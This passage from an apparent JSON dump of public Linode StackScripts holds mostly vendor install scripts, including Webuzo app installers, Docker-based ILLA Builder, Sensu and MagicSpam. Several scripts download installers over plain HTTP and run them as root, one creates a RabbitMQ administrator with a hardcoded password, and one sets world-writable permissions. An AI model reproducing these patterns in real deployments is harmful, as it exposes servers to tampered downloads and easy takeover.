Install Admidio and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Admidio :\n# Admidio is a free online membership management, optimized for clubs, groups and organizations.\n# It consists of classical management members from a variety of modules that can be installed \n# and adjusted to a new or existing website.\n###########################################################################################################\n\n# Install Admidio Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=449&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Admidio and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Admidio has been successfully installed\"\necho \" \"\necho \"You can now configure Admidio and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 12825, "username": "bozuslu", "user_gravatar_id": "67f0a5d0710560fd85e82a39cc71a567", "label": "bayram", "description": "Ek 2", "ordinal": 0, "logo_url": "", "images": ["linode/debian7"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash", "user_defined_fields": []}, {"id": 9242, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "MeshCMS powered by Webuzo", "description": "MeshCMS is an online editing system written in Java. It provides a set of features usually included in a CMS, but it uses a more traditional approach: pages are stored in regular HTML files and all additional features are file-based, without needing a database.\r\n\r\nMeshCMS has been thought as a quick tool to edit pages online, manage files and create some common components like menus, breadcrumbs, mail forms, image galleries and so on.\r\n\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure MeshCMS and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "MeshCMS powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install MeshCMS and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About MeshCMS :\n# MeshCMS is an online editing system written in Java.\n# It provides a set of features usually included in a CMS, but it uses a more traditional approach: pages \n# are stored in regular HTML files and all additional features are file-based, without needing a database.\n###########################################################################################################\n\n# Install MeshCMS Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=385&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling MeshCMS and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, MeshCMS has been successfully installed\"\necho \" \"\necho \"You can now configure MeshCMS and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 1193754, "username": "jrzavaschi1992", "user_gravatar_id": "6c0262d5482846284b510b579df19fdd", "label": "Illa Builder One-Click", "description": "Illa Builder One-Click App", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu22.04"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\n#\n# \n\n## Enable logging \nexec > >(tee /dev/ttyS0 /var/log/stackscript.log) 2>&1\n\n# Apt update/upgrade\napt update\napt upgrade -y\n\n# Install the dependencies & add Docker to the APT repository\napt install -y apt-transport-https ca-certificates curl software-properties-common gnupg2 pwgen ufw\ncurl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -\nadd-apt-repository \"deb [arch=amd64] https://download.docker.com/linux/ubuntu focal stable\"\n\n# Update & install Docker-CE\napt update\napt install -y docker-ce\n\n# Check to ensure Docker is running and installed correctly\nsystemctl status docker\ndocker -v\n\n# Env config\nILLA_HOME_DIR=/var/lib/illa\nPG_VOLUMN=${ILLA_HOME_DIR}/database/postgresql\nWSS_ENABLED=false\nILLA_DEPLOY_MODE=''self-host''\n\n\n# Init\nmkdir -p ${ILLA_HOME_DIR}\nmkdir -p ${PG_VOLUMN}\nmkdir -p ${ILLA_HOME_DIR}\nchmod 0777 ${PG_VOLUMN} # @todo: chmod for MacOS, the gid is \"wheel\", not \"root\". and we will fix this later.\n\n# Run\ndocker run -d \\\n --name illa-builder \\\n -e POSTGRES_PASSWORD=$PG_PASSWORD \\\n -e GIN_MODE=release \\\n -e PGDATA=/var/lib/postgresql/data/pgdata \\\n -e ILLA_DEPLOY_MODE=$ILLA_DEPLOY_MODE \\\n -v $PG_VOLUMN:/var/lib/postgresql/data \\\n -p $PORT:80 \\\n illasoft/illa-builder:latest\n\necho \"\n********************************************************************************\nWelcome to ILLA Builder!\n********************************************************************************\n # Website: https://www.illacloud.com\n # Documentation: https://www.illacloud.com/docs/about-illa\n # Github: https://github.com/illacloud\n # Community Support: https://github.com/orgs/illacloud/discussions\"", "user_defined_fields": [{"name": "PORT", "label": "ILLA Builder Port", "example": "Default: 80", "default": "80"}, {"name": "PG_PASSWORD", "label": "Postgres Password", "example": "s3cure_p4ssw0rd"}]}, {"id": 14362, "username": "ezan", "user_gravatar_id": "40bba314333f02cceb3f40d8a2aabb78", "label": "install-sensu", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu14.04lts"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\n##\n# Installs the Sensu omnibus package\n#\n# This package contains all of the different Sensu components. Use specific scripts\n# to configure each component on different nodes.\n##\nset -eux\n\nsource env.sh\n\n$BASE_PATH/configure-repo-sensu.sh\n\napt-get install -yq sensu", "user_defined_fields": []}, {"id": 9243, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Little Software Stats powered by Webuzo", "description": "Little Software Stats is a web application that allows users to monitor their software.\r\n\r\nLittle Software Stats is the first runtime intelligence software released as open source and free. It is designed and developed through MySQL and PHP which will allow most web servers to run it. Little Software Stats allows users to collect information including executions, installations, exceptions, and geographical location.\r\n\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Little Software Stats and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Little Software Stats powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Little Software Stats and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Little Software Stats :\n# Little Software Stats is a web application that allows users to monitor their software.\n# Little Software Stats is the first runtime intelligence software released as open source and free.\n# It is designed and developed through MySQL and PHP which will allow most web servers to run it.\n# Little Software Stats allows users to collect information including executions, \n# installations, exceptions, and geographical location.\n###########################################################################################################\n\n# Install Little Software Stats Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=444&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Little Software Stats and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Little Software Stats has been successfully installed\"\necho \" \"\necho \"You can now configure Little Software Stats and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 1193755, "username": "jrzavaschi1992", "user_gravatar_id": "6c0262d5482846284b510b579df19fdd", "label": "PHP", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu14.04lts", "linode/centos7", "linode/debian8", "linode/fedora22"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "v1.0.1", "script": "#!/usr/bin/env python\n\n\"\"\"\nPHP StackScript\n\t\n\tAuthor: Ricardo N Feliciano \n\tVersion: 1.0.1.2\n\tRequirements:\n\t\t- ss://linode/python-library \n\nThis StackScript both deploys as well as provides a library of functions for\nPHP. The functions in this StackScript are designed to be run across the \nLinode Core Distributions:\n\t- Ubuntu\n\t- CentOS\n\t- Debian\n\t- Fedora\n\"\"\"\n\nimport os\nimport subprocess\nimport sys\n\ntry: # we''ll need to rename included StackScripts before we can import them\n\tos.rename(\"/root/ssinclude-3\", \"/root/pythonlib.py\")\nexcept:\n\tpass\n\nimport pythonlib\n\n\ndef php_apache_mod_install():\n\t\"\"\"Install Apache httpd PHP module.\"\"\"\n\t# add logging support\n\n\tpackage = {\n\t\t''debian'': ''php5'',\n\t\t''redhat'': ''php''\n\t}\n\n\tpythonlib.system_package_install(package[pythonlib.distro[''family'']])\n\n\n#def php_fpm_install():\n\n\ndef php_install():\n\t\"\"\"Install PHP.\n\t\n\tDefaults to installing the mod_PHP implemention of PHP.\n\t\"\"\"\n\t# add logging support\n\n\tphp_apache_mod_install()\n\n\ndef php_install_module(module, update_index=True):\n\t\"\"\"Install a PHP module.\"\"\"\n\n\tprefix = {\n\t\t''debian'': ''php5-'',\n\t\t''redhat'': ''php-''\n\t}\n\n\tpythonlib.system_package_install(prefix[pythonlib.distro[''family'']] + module, update_index)\n\n\ndef php_install_module_common():\n\t\"\"\"Install most common PHP modules.\n\n\tInstall GD, mcrypt, pear, mysql, and the cli.\"\"\"\n\t\n\tphp_install_module(\"gd\")\n\t#php_install_module(\"mcrypt\", False) #not in CentOS7 repos :(\n\t#php_install_module(\"pear\", False) # both families use php-pear so\n\t#installing php5-pear in the Debian family will fail\n\tphp_install_module(\"mysql\", False)\n\tphp_install_module(\"cli\", False)\n\trestart()\n\n\ndef restart():\n\tif pythonlib.distro[''family''] == \"debian\":\n\t\tsubprocess.call([''service'', ''apache2'', ''restart''])\n\telif pythonlib.distro[''family''] == \"redhat\":\n\t\tsubprocess.call([''systemctl'', ''restart'', ''httpd''])\n\n\ndef main():\n\t\"\"\"Install PHP.\"\"\"\n\t# add logging support\n\t\n\tpythonlib.init()\n\tpythonlib.system_update()\n\tphp_install()\n\n\tpythonlib.end()\n\n\nif __name__ == \"__main__\":\n\tsys.exit(main())", "user_defined_fields": []}, {"id": 1158683, "username": "yoboycc", "user_gravatar_id": "e598b7c77d05460a72ceb4397cbc72f6", "label": "snapchat", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/debian11"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\nhttps://104-200-19-103.ip.linodeusercontent.com:3000/demos/butcher/index.html", "user_defined_fields": []}, {"id": 978971, "username": "meenubediShine", "user_gravatar_id": "ac16f37ccd972a6f698dab5aab1188b2", "label": "test", "description": "test", "ordinal": 0, "logo_url": "", "images": ["linode/alpine3.13"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "revision", "script": "#!/bin/bash\r\ntest", "user_defined_fields": []}, {"id": 9244, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "DIY powered by Webuzo", "description": "DIY is an open-source lightweight web application framework based on object-oriented PHP 5, MySQL, and XSLT. It is fully object-oriented and designed following the MVC architecture and REST design principles. The idea behind it is not to reinvent the wheel but instead to combine existing and proven technologies in a convenient and effective way.\r\n\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure DIY and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "DIY powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install DIY and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About DIY :\n# DIY is an open-source lightweight web application framework based on object-oriented PHP 5, MySQL, and XSLT.\n# It is fully object-oriented and designed following the MVC architecture and REST design principles.\n# The idea behind it is not to reinvent the wheel but instead to combine existing and \n# proven technologies in a convenient and effective way.\n###########################################################################################################\n\n# Install DIY Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=242&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling DIY and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, DIY has been successfully installed\"\necho \" \"\necho \"You can now configure DIY and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 665116, "username": "prod-test-012", "user_gravatar_id": "baf45275c482453fbd50f381af256408", "label": "test public2", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/alpine3.10"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash test", "user_defined_fields": []}, {"id": 1193756, "username": "jrzavaschi1992", "user_gravatar_id": "6c0262d5482846284b510b579df19fdd", "label": "MagicSpam One-Click", "description": "MagicSpam One-Click", "ordinal": 0, "logo_url": "", "images": ["linode/centos7"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\n\n# \n# \n# \n\n# source the stackscript for the selected control panel\nif [ \"$CONTROL_PANEL\" == \"cPanel\" ]; then\n # redirect ALL output to the stackscript log for future troubleshooting\n exec > >(tee /dev/ttyS0 /var/log/stackscript.log) 2>&1\n\n # cPanel Marketplace App install\n source \n\n # set the hostname to replicate Plesk stackscript for consistent behavior\n IPADDR=$(/sbin/ifconfig eth0 | awk ''/inet / { print $2 }'' | sed ''s/addr://'')\n echo $HOSTNAME > /etc/hostname\n hostname -F /etc/hostname\n echo $IPADDR $HOSTNAME >> /etc/hosts\nelif [ \"$CONTROL_PANEL\" == \"Plesk\" ]; then\n # Plesk Marketplace App install\n # NOTE: do not redirect output to the stackscript log to avoid duplicate log\n # lines as the Plesk stackscript already redirects to it\n source \nelse\n echo \"Invalid control panel option detected. Aborting...\"\n exit 1\nfi\n\n# install MagicSpam via the installer script\nwget https://www.magicspam.com/download/magicspam-installer.sh -O /root/magicspam-installer\nchmod +x /root/magicspam-installer\n/root/magicspam-installer -l \"$MS_LICENSE_KEY\"", "user_defined_fields": [{"name": "control_panel", "label": "The Control Panel to deploy alongside with MagicSpam. Make sure to select an Image supported by the selected Control Panel. For more information, please refer to the MagicSpam App Information Sidebar.", "oneof": "cPanel,Plesk"}, {"name": "ms_license_key", "label": "The MagicSpam license key. Please make sure to use the appropriate license key for the selected Control Panel. For more information, please refer to the MagicSpam App information sidebar."}, {"name": "hostname", "label": "The server''s hostname."}]}, {"id": 14364, "username": "ezan", "user_gravatar_id": "40bba314333f02cceb3f40d8a2aabb78", "label": "configure-repo-sensu", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu14.04lts"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\nset -eux\n\ncurl -s http://repos.sensuapp.org/apt/pubkey.gpg | apt-key add -\necho \"deb http://repos.sensuapp.org/apt sensu main\" > /etc/apt/sources.list.d/sensu.list\n\napt-get update -q", "user_defined_fields": []}, {"id": 978972, "username": "meenubediShine", "user_gravatar_id": "ac16f37ccd972a6f698dab5aab1188b2", "label": "test", "description": "test description", "ordinal": 0, "logo_url": "", "images": ["linode/opensuse15.2", "linode/alpine3.13"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "revision", "script": "#!/bin/bash\r\ntest", "user_defined_fields": []}, {"id": 8989, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Joomla 2.5 powered by Webuzo", "description": "Joomla is an award-winning content management system (CMS), which enables you to build Web sites and powerful online applications. Many aspects, including its ease-of-use and extensibility, have made Joomla the most popular Web site software available. Best of all, Joomla is an open source solution that is freely available to everyone. \r\n\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Joomla 2.5 and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Joomla 2.5 powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Joomla 2.5 and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Joomla 2.5 :\n# Joomla is an award-winning content management system (CMS), which enables you to build Web sites and powerful\n# online applications. Many aspects, including its ease-of-use and extensibility, have made Joomla the most\n# popular Web site software available. Best of all, Joomla is an open source solution \n# that is freely available to everyone.\n###########################################################################################################\n\n# Install Joomla 2.5 Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=18&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Joomla 2.5 and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Joomla 2.5 has been successfully installed\"\necho \" \"\necho \"You can now configure Joomla 2.5 and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 9245, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "ShopSite powered by Webuzo", "description": "ShopSite is the easiest-to-use shopping cart software for small to medium-sized businesses. With our e-commerce software and intuitive interface, you can have a store online in 15 minutes. With our rich feature set you won''t outgrow our catalog software, and you will not need expensive add-ons in order to have a fully functioning cart.\r\n\r\nWith our rich feature set you won''t outgrow our catalog software, and you will not need expensive add-ons in order to have a fully functioning cart. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure ShopSite and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "ShopSite powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install ShopSite and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About ShopSite :\n# ShopSite is the easiest-to-use shopping cart software for small to medium-sized businesses.\n# With our e-commerce software and intuitive interface, you can have a store online in 15 minutes.\n# With our rich feature set you won''t outgrow our catalog software, and you will not need expensive \n# add-ons in order to have a fully functioning cart.\n###########################################################################################################\n\n# Install ShopSite Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=410&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling ShopSite and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, ShopSite has been successfully installed\"\necho \" \"\necho \"You can now configure ShopSite and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 14365, "username": "ezan", "user_gravatar_id": "40bba314333f02cceb3f40d8a2aabb78", "label": "configure-rabbitmq-sensu", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu14.04lts"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\n##\n# Configures RabbitMQ for Sensu\n#\n# Dependencies:\n# - RabbitMQ\n##\nset -eux\n\nrabbitmqctl add_vhost sensu\nrabbitmqctl add_user sensu monit0r\nrabbitmqctl set_permissions -p sensu sensu \".*\" \".*\" \".*\"\nrabbitmqctl set_user_tags sensu administrator", "user_defined_fields": []}, {"id": 978973, "username": "meenubediShine", "user_gravatar_id": "ac16f37ccd972a6f698dab5aab1188b2", "label": "test", "description": "test", "ordinal": 0, "logo_url": "", "images": ["linode/slackware14.1", "linode/ubuntu20.04", "linode/alpine3.13", "linode/alpine3.15"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "revision", "script": "#!/bin/bash\r\ntest", "user_defined_fields": []}, {"id": 7198, "username": "kidid", "user_gravatar_id": "0bcff359135eea23d1cc1306ef31b413", "label": "ddad", "description": "fsfgg", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.632bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash", "user_defined_fields": []}, {"id": 9246, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "phpLiteAdmin powered by Webuzo", "description": "phpLiteAdmin is a web-based SQLite database admin tool written in PHP with support for SQLite2 and SQLite3. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps 